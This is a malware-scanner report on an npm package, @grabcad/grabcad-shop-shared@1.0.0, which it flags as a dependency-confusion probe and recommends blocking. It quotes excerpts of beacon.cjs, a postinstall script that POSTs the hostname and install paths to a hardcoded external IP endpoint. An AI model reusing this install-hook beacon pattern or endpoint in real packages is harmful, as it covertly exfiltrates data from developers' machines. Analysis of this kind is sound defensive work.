@grabcad/grabcad-shop-shared@1.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 3h ago · by lpm-firewall-aiThe postinstall hook triggers an unconsented disclosure of identifying installation metadata to a fixed external collector. This supports blocking the package as install hook abuse.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or import of index.js.
Impact
The endpoint receives the machine hostname and package installation context.
Mechanism
beacon.cjs builds a metadata payload and sends it by HTTP POST without an affirmative consent check.
Attack narrative
Installation automatically runs a beacon that sends the machine hostname and install context to a fixed external HTTP endpoint. Importing the package also fires the beacon.
AI rationale
The postinstall hook triggers an unconsented disclosure of identifying installation metadata to a fixed external collector. This supports blocking the package as install hook abuse.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST to a fixed external HTTP endpoint.
- The payload includes the machine hostname, install path, working directory, and npm version, with no consent check.
- index.js also fires the beacon when the package is imported.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
package.json runs beacon.cjs automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/grabcad-shop-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/grabcad-shop-shared@1.0.0.
See all versions of @grabcad/grabcad-shop-shared for other recorded verdicts.
- Avoid installing @grabcad/grabcad-shop-shared@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.